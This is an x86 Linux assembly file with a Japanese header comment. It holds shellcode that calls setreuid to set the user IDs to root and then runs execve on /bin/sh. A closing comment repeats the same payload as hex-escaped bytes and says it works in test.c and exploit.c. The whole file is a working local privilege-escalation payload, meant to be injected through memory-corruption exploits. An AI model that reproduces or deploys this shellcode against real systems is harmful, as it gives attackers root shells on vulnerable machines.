#***********************************************************************//
# shellcode.s 2006-11-19  Defolos					//
#									//
# シェルを起動するプログラム。setuidで実UIDと実効UIDをrootに変更している//
# その後、execvでシェルを起動する					//
#***********************************************************************//

.globl main
main:
	xorl	%eax,	%eax
	mov	$70,	%al
	xorl	%ebx,	%ebx
	xorl	%ecx,	%ecx
	int	$0x80

	jmp ONE
TWO:
	popl	%ebx
	xorl	%eax,	%eax
	movl	%eax,	7(%ebx)
	mov	%ebx,	8(%ebx)
	mov	%eax,	12(%ebx)
	mov	$11,	%al
	leal	8(%ebx),	%ecx
	leal	12(%ebx),	%edx
	int	$0x80
ONE:
	call	TWO
	.string	"/bin/sh"

/*
test.c		[it works]
exploit.c	[it works]

"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16"
"\x5b\x31\xc0\x89\x43\x07\x89\x5b\x08\x89\x43\x0c"
"\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80"
"\xe8\xe5\xff\xff\xff"
"\x2f\x62\x69\x6e\x2f\x73\x68"
*/
